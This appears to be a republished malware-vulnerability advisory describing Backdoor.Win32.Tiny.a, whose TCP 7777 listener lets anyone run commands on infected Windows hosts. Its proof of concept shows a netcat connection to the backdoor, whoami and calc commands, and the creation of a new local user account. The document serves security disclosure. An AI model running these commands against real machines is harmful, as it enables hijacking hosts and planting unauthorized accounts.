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Backdoor.Win32.Tiny.a / Unauthenticated Remote Command Execution

CVE Category Price Severity
N/A CWE-78 Not specified High
Author Risk Exploitation Type Date
Not specified High Remote 2022-04-07
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022040024

Below is a copy:

Backdoor.Win32.Tiny.a / Unauthenticated Remote Command Execution
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/9fa664bc52e1aa46a09ac51aaa6c7384.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Tiny.a
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 7777. Third-party attackers who can reach an infected system can run any OS commands hijacking the compromised host.
Family: Tiny
Type: PE32
MD5: 9fa664bc52e1aa46a09ac51aaa6c7384
Vuln ID: MVID-2022-0533
Disclosure: 04/06/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 7777


C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

C:\Users\Victim\Desktop>calc
calc

C:\Users\Victim\Desktop>

C:\Users\Victim\Desktop>net user HYP3RLINX 666 /add
net user HYP3RLINX 666 /add
The command completed successfully.


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